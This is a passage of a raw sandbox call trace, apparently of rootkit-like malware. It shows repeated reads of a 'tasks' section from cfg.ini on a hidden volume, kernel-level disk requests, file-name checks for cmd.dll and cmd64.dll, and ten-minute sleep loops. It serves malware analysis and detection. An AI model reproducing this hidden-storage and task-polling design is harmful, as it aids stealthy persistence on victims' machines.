_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.639] KeEnterCriticalRegion () [0121.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.639] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.639] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.639] KeLeaveCriticalRegion () [0121.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.639] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.639] KeEnterCriticalRegion () [0121.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.639] ExFreePoolWithTag (P=0xfffffa8003bd61d0, Tag=0x0) [0121.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.639] KeLeaveCriticalRegion () [0121.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.639] ReleaseMutex (hMutex=0xf0) returned 1 [0121.639] Sleep (dwMilliseconds=0x927c0) [0121.653] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.653] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.653] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.653] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.653] KeEnterCriticalRegion () [0121.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.653] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.653] IdePortDispatch () returned 0x103 [0121.653] KeWaitForMutexObject () returned 0x0 [0121.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.653] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.653] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.653] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.653] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.653] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6d00 [0121.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.653] KeLeaveCriticalRegion () [0121.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.653] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.653] KeEnterCriticalRegion () [0121.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.653] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.653] KeLeaveCriticalRegion () [0121.653] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.653] KeEnterCriticalRegion () [0121.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.653] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.653] IdePortDispatch () returned 0x103 [0121.654] KeWaitForMutexObject () returned 0x0 [0121.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.654] KeLeaveCriticalRegion () [0121.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.654] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.654] KeEnterCriticalRegion () [0121.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6c000 [0121.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.654] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.654] IdePortDispatch () returned 0x103 [0121.654] KeWaitForMutexObject () returned 0x0 [0121.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.654] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.654] IdePortDispatch () returned 0x103 [0121.654] KeWaitForMutexObject () returned 0x0 [0121.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] KeLeaveCriticalRegion () [0121.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.655] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.655] KeEnterCriticalRegion () [0121.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] KeLeaveCriticalRegion () [0121.655] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.655] KeEnterCriticalRegion () [0121.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.655] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] KeLeaveCriticalRegion () [0121.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.655] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.655] KeEnterCriticalRegion () [0121.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] ExFreePoolWithTag (P=0xfffffa8003bd6d00, Tag=0x0) [0121.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.655] KeLeaveCriticalRegion () [0121.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.655] ReleaseMutex (hMutex=0xf0) returned 1 [0121.656] Sleep (dwMilliseconds=0x927c0) [0121.670] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.670] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.670] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.670] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.670] KeEnterCriticalRegion () [0121.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.670] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.670] IdePortDispatch () returned 0x103 [0121.670] KeWaitForMutexObject () returned 0x0 [0121.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.671] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.671] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.671] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.671] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.671] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd61d0 [0121.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.671] KeLeaveCriticalRegion () [0121.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.671] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.671] KeEnterCriticalRegion () [0121.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.671] KeLeaveCriticalRegion () [0121.671] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.671] KeEnterCriticalRegion () [0121.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.671] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.671] IdePortDispatch () returned 0x103 [0121.671] KeWaitForMutexObject () returned 0x0 [0121.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.671] KeLeaveCriticalRegion () [0121.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.671] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.671] KeEnterCriticalRegion () [0121.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.671] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b71000 [0121.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.673] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.673] IdePortDispatch () returned 0x103 [0121.673] KeWaitForMutexObject () returned 0x0 [0121.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.674] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.674] IdePortDispatch () returned 0x103 [0121.674] KeWaitForMutexObject () returned 0x0 [0121.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.674] KeLeaveCriticalRegion () [0121.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.674] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.674] KeEnterCriticalRegion () [0121.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.674] KeLeaveCriticalRegion () [0121.675] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.675] KeEnterCriticalRegion () [0121.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.675] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.675] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.675] KeLeaveCriticalRegion () [0121.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.675] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.675] KeEnterCriticalRegion () [0121.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.675] ExFreePoolWithTag (P=0xfffffa8003bd61d0, Tag=0x0) [0121.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.675] KeLeaveCriticalRegion () [0121.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.675] ReleaseMutex (hMutex=0xf0) returned 1 [0121.675] Sleep (dwMilliseconds=0x927c0) [0121.689] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.689] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.689] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.689] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.689] KeEnterCriticalRegion () [0121.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.689] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.689] IdePortDispatch () returned 0x103 [0121.689] KeWaitForMutexObject () returned 0x0 [0121.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.689] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.689] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.689] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.689] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.689] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.689] KeLeaveCriticalRegion () [0121.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.690] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.690] KeEnterCriticalRegion () [0121.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.690] KeLeaveCriticalRegion () [0121.690] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.690] KeEnterCriticalRegion () [0121.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.690] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.690] IdePortDispatch () returned 0x103 [0121.690] KeWaitForMutexObject () returned 0x0 [0121.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.690] KeLeaveCriticalRegion () [0121.690] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.690] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.690] KeEnterCriticalRegion () [0121.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b76000 [0121.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.690] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.690] IdePortDispatch () returned 0x103 [0121.691] KeWaitForMutexObject () returned 0x0 [0121.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.691] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.691] IdePortDispatch () returned 0x103 [0121.691] KeWaitForMutexObject () returned 0x0 [0121.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.691] KeLeaveCriticalRegion () [0121.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.692] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.692] KeEnterCriticalRegion () [0121.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.692] KeLeaveCriticalRegion () [0121.692] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.692] KeEnterCriticalRegion () [0121.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.692] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.692] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.692] KeLeaveCriticalRegion () [0121.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.692] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.692] KeEnterCriticalRegion () [0121.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.692] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.692] KeLeaveCriticalRegion () [0121.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.692] ReleaseMutex (hMutex=0xf0) returned 1 [0121.692] Sleep (dwMilliseconds=0x927c0) [0121.707] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.707] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.708] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.708] KeEnterCriticalRegion () [0121.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 